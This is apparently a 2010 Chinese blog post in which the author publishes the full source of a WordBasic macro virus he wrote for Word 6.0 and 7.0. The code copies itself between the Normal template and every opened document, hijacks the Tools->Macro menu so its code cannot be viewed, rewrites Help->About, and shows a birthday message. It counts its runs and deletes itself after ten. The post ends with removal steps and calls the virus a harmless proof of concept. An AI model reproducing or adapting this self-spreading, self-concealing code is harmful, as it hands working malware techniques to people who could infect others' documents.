yksoft1 |
2010-04-09 22:34 |
WordBasic是什么?是指Microsoft Word从2.0版本到7.0版本所具有的脚本编程或者称之为“宏”功能。虽然它并不如Word 97之后取代它的VBA那么强大,但是也能对Word的整个界面进行定制,进行磁盘文件操作,运行一部分平台API函数,也能将宏在多个文件之间进行拷贝。我最近蛋疼了一下,在Word7.0英文版、中文版环境下作了一个简单的WordBasic宏病毒,而且也能在Word 6.0 for Macintosh上运行。 这个宏AutoOpen,寄生于Normal.dot中,当打开任何文件时会将自身复制到打开的文件中,并将目标文件保存为模板(Word7.0和以下不支持在普通文档中储存宏)。同时劫持ToolsMacro(工具->宏),使得无法查看宏代码。payload 部分包括在4月15日祝本人生日快乐,并且统计运行次数,超过10次,则写入AutoExec宏,在下一次启动Word时将Normal模板中的本代码销毁。 其代码列表如下(必须是GB2312内码) Dim Shared dname$, sname$, mname$, isscw, ismac '全局变量,包括判断是否中文Word,是否Mac Sub MAIN
On Error Resume Next DisableAutoMacros 0 FileSummaryInfo .Update Dim gname As FileSummaryInfo '获得当前打开的文件信息 GetCurValues gname sysv$ = AppInfo$(16) '获得系统的拼写检查语言,来判断是否中文版 sysp$ = AppInfo$(1) '获得平台,判断是否Mac If InStr(sysp$, "Win") Then sname$ = gname.Directory + "\" + gname.FileName + ":autoopen" ismac = 0 'Windows平台,得到打开的文件的Windows形式路径 Else sname$ = gname.Directory + ":" + gname.FileName + ":autoopen" ismac = 1 'MacOS Classic平台,得到打开的文件的MacOS形式路径 End If
mgyy$ = "美国英语" If sysv$ <> mgyy$ Then '根据拼写检查语言的返回值判断是否中文Word dname$ = "global:autoopen" isscw = 0 '英文版的Normal命名空间“Global” Else dname$ = String$(1, 85) + String$(1, 178) + String$(1, 211) + String$(1, 195) + ":autoopen" isscw = 1 '中文版的Normal命名空间“共用”,注意WordBasic的Chr$不支持高Ascii,只能用String$ End If mname$ = LCase$(Right$(MacroFileName$(MacroName$(0)), 10))
If InStr(mname$, "normal") Then '判断是否运行于Normal模板中(文件路径最后10个字符中是否有Normal) MacroCopy dname$, sname$ FileSaveAs .Format = 1 '是则将自身复制到打开的文件中,并将打开的文件改为模板 Else MacroCopy sname$, dname$ '否则将自身复制到Normal模板中 End If changeabout '调用修改“帮助—>关于”子程序 changetoolsmacro '调用修改“工具->宏”子程序 pload '调用Payload End Sub
Sub changeabout On Error Resume Next ToolsMacro .Name = "helpabout", .Delete, .Show = 0 '删除已有的“帮助—>关于”子程序 ToolsMacro .Name = "helpabout", .Edit, .Show = 0 '新建“帮助—>关于”子程序 LineUp 1 InsertPara Insert "Msgbox" Insert Chr$(34) + "by yksoft1 in 2010" If isscw = 1 Then Insert " 中文Word照样中!" Insert Chr$(34) InsertPara DocClose 1 '在正常代码前插入弹出消息框代码 End Sub
Sub changetoolsmacro On Error Resume Next ToolsMacro .Name = "toolsmacro", .Delete, .Show = 0 '删除已有的“工具—>宏”子程序 ToolsMacro .Name = "toolsmacro", .Edit, .Show = 0 '新建“工具—>宏”子程序 LineUp 4, 1 InsertPara Insert "Msgbox" Insert Chr$(34) If isscw = 1 Then Insert "这个选项目前无法使用。" Else Insert "This option is currently unavailable." End If Insert Chr$(34) Insert "," + Chr$(34) + "Microsoft Word" + Chr$(34) + ",48" DocClose 1 '将正常代码替换为显示消息框 End Sub
Sub pload On Error Resume Next d = Today() If Month(d) = 4 And Day(d) = 15 Then If isscw = 0 Then MsgBox "Happy birthday to yksoft1!", "YKSOFT Systems", 48 Else MsgBox "yksoft1 生日快乐!", "YKSOFT Systems", 48 '祝我生日快乐 End If End If sV$ = GetProfileString$("Microsoft Word", "yk-mvirus") '从WINWORD6.INI取得运行次数 ic = Val(sV$) If ic >= 10 Then autoexec_kill '调用自毁程序生成段 Else ToolsMacro .Name = "autoexec", .Delete, .Show = 0 End If SetProfileString("Microsoft Word", "yk-mvirus", LTrim$(Str$(ic + 1)) '运行次数+1 End Sub
Sub autoexec_kill On Error Resume Next ToolsMacro .Name = "autoexec", .Delete, .Show = 0 '删除现有AutoExec宏 ToolsMacro .Name = "autoexec", .Edit, .Show = 0 '新建AutoExec宏 Insert "On Error Resume Next" InsertPara Insert "ToolsMacro .Name= " Insert Chr$(34) Insert "autoopen" Insert Chr$(34) Insert ", .Delete, .Show=0" InsertPara Insert "ToolsMacro .Name= " Insert Chr$(34) Insert "helpabout" Insert Chr$(34) Insert ", .Delete, .Show=0" InsertPara Insert "ToolsMacro .Name= " Insert Chr$(34) Insert "toolsmacro" Insert Chr$(34) Insert ", .Delete, .Show=0" InsertPara DocClose 1 '删除本病毒的主程序及生成的ToolsMacro、HelpAbout宏 End Sub
删除方法:文件->模板->管理器->宏,找到AutoOpen、ToolsMacro和HelpAbout,删除之
经过调试发现这段代码应该可以用同一个Word 7.0英文版的模板文件在Word 7.0英文版、Word 7.0中文版、Word 6.0 for Macintosh英文版中实现感染和表现代码,如果直接创建,也能在Word 6.0中文版中正常运行。据我所查到的资料,Word 非英文的西方语言版本 菜.单项对应的宏名称与英文版不同,而且我还没搞到德、法之类语言版本的Word 7.0或者6.0,因此还不能实现本病毒的运行效果。
WordBasic基本随着Word 7.0的死亡而死了,当初Word 97的WordBasic->VBA转换器,并不能支持我在此病毒中新建宏的操作。因此这段代码应该在这个时代没有破坏性可言,只是一个概念证明而已。
这是来自YKSOFT's Home博客,http://yksoft1.spaces.live.com/blog/cns!66B9967EC9D22DD4!1175.entry 的一篇文章。 目前我已经将这个代码改得更加结构化、完善化。
|
|